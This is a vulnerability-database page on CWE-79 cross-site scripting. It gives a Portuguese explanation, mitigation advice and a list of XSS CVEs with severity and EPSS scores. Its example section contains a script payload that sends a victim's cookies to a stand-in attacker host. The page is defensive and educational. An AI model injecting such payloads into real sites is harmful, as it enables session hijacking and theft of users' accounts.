Fallos del tipo CWE-79

29.339 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-34067MEDIUMMultiple cross site scripting (XSS) vulnerabilities in the admin area of Pterodactyl panelEPSS 0.5%CVE-2022-4966LOWsequentech admin-console Election Description cross site scriptingEPSS 0.5%CVE-2023-32652HIGHPiiGAB M-Bus Cross-site ScriptingEPSS 0.5%CVE-2024-13199MEDIUMlanghsu Mblog Blog System Search Bar search cross site scriptingEPSS 0.5%CVE-2023-0371MEDIUMEmbedSocial < 1.1.28 - Contributor+ Stored XSSEPSS 0.5%CVE-2022-42786MEDIUMWiesemann & Theis: XSS vulnerability in web interface of the Com-Server familyEPSS 0.5%CVE-2023-25431MEDIUMAn issue was discovered in Online Reviewer Management System v1.0. There is a XSS vulnerability via reviewer_0/admins/assessments/course/couEPSS 0.5%CVE-2023-1703MEDIUMCross-site Scripting (XSS) - Generic in pimcore/pimcoreEPSS 0.5%CVE-2023-26953MEDIUMonekeyadmin v1.3.9 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Add Administrator module.EPSS 0.5%CVE-2023-41049HIGHImproper Neutralization of Script in Attributes in @dcl/single-sign-on-clientEPSS 0.5%CVE-2023-29643MEDIUMCross Site Scripting (XSS) vulnerability in PerfreeBlog 3.1.2 allows attackers to execute arbitrary code via the Post function.EPSS 0.5%CVE-2023-41789HIGHUnauthenticated Admin Account Takeover Via XSSEPSS 0.5%CVE-2023-0540MEDIUMGS Filterable Portfolio < 1.6.1 - Contributor+ Stored XSSEPSS 0.5%CVE-2026-25482MEDIUMCraft Commerce has Stored DOM XSS in Order Status Name (Reflects in "Recent Orders" Dashboard Widget)EPSS 0.5%CVE-2024-45194MEDIUMIn Zimbra Collaboration (ZCS) 9.0 and 10.0, a vulnerability in the Webmail Modern UI allows execution of stored Cross-Site Scripting (XSS) pEPSS 0.5%CVE-2023-40461HIGHCross-site scripting vulnerability in ACEManagerEPSS 0.5%CVE-2021-36864LOWWordPress Quiz And Survey Master plugin <= 7.3.4 - Auth. Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2023-28678MEDIUMJenkins Cppcheck Plugin 1.26 and earlier does not escape file names from Cppcheck report files before showing them on the Jenkins UI, resultEPSS 0.5%CVE-2024-4924MEDIUMSassy social share < 3.3.63 Admin+ Stored Cross-Site scriptingEPSS 0.5%CVE-2024-1172MEDIUMEssential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via AccordionEPSS 0.5%